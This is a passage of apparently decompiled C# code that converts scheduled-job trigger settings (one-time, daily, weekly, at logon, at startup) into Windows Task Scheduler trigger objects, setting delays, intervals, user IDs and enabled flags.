                str.StartBoundary = ScheduledJobWTS.ConvertDateTimeToString(jobTrigger.At);
                int id = jobTrigger.Id;
                str.Id      = id.ToString(CultureInfo.InvariantCulture);
                str.Enabled = jobTrigger.Enabled;
                return;
            }

            case TriggerFrequency.Daily:
            {
                str = iTaskDefinition.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_DAILY);
                IDailyTrigger interval = str as IDailyTrigger;
                interval.RandomDelay  = ScheduledJobWTS.ConvertTimeSpanToWTSString(jobTrigger.RandomDelay);
                interval.DaysInterval = (short)jobTrigger.Interval;
                str.StartBoundary     = ScheduledJobWTS.ConvertDateTimeToString(jobTrigger.At);
                int num = jobTrigger.Id;
                str.Id      = num.ToString(CultureInfo.InvariantCulture);
                str.Enabled = jobTrigger.Enabled;
                return;
            }

            case TriggerFrequency.Weekly:
            {
                str = iTaskDefinition.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_WEEKLY);
                IWeeklyTrigger mask = str as IWeeklyTrigger;
                mask.RandomDelay   = ScheduledJobWTS.ConvertTimeSpanToWTSString(jobTrigger.RandomDelay);
                mask.WeeksInterval = (short)jobTrigger.Interval;
                mask.DaysOfWeek    = ScheduledJobWTS.ConvertDaysOfWeekToMask(jobTrigger.DaysOfWeek);
                str.StartBoundary  = ScheduledJobWTS.ConvertDateTimeToString(jobTrigger.At);
                int id1 = jobTrigger.Id;
                str.Id      = id1.ToString(CultureInfo.InvariantCulture);
                str.Enabled = jobTrigger.Enabled;
                return;
            }

            case TriggerFrequency.AtLogon:
            {
                str = iTaskDefinition.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_LOGON);
                ILogonTrigger variable  = str as ILogonTrigger;
                ILogonTrigger variable1 = variable;
                if (ScheduledJobTrigger.IsAllUsers(jobTrigger.User))
                {
                    user = null;
                }
                else
                {
                    user = jobTrigger.User;
                }
                variable1.UserId = user;
                variable.Delay   = ScheduledJobWTS.ConvertTimeSpanToWTSString(jobTrigger.RandomDelay);
                int num1 = jobTrigger.Id;
                str.Id      = num1.ToString(CultureInfo.InvariantCulture);
                str.Enabled = jobTrigger.Enabled;
                return;
            }

            case TriggerFrequency.AtStartup:
            {
                str = iTaskDefinition.Triggers.Create(_TASK_TRIGGER_TYPE2.TASK_TRIGGER_BOOT);
                IBootTrigger wTSString1 = str as IBootTrigger;
                wTSString1.Delay = ScheduledJobWTS.ConvertTimeSpanToWTSString(jobTrigger.RandomDelay);
                int id2 = jobTrigger.Id;
                str.Id      = id2.ToString(CultureInfo.InvariantCulture);
                str.Enabled = jobTrigger.Enabled;
                return;
            }

            default:
            {
                return;
            }
            }
        }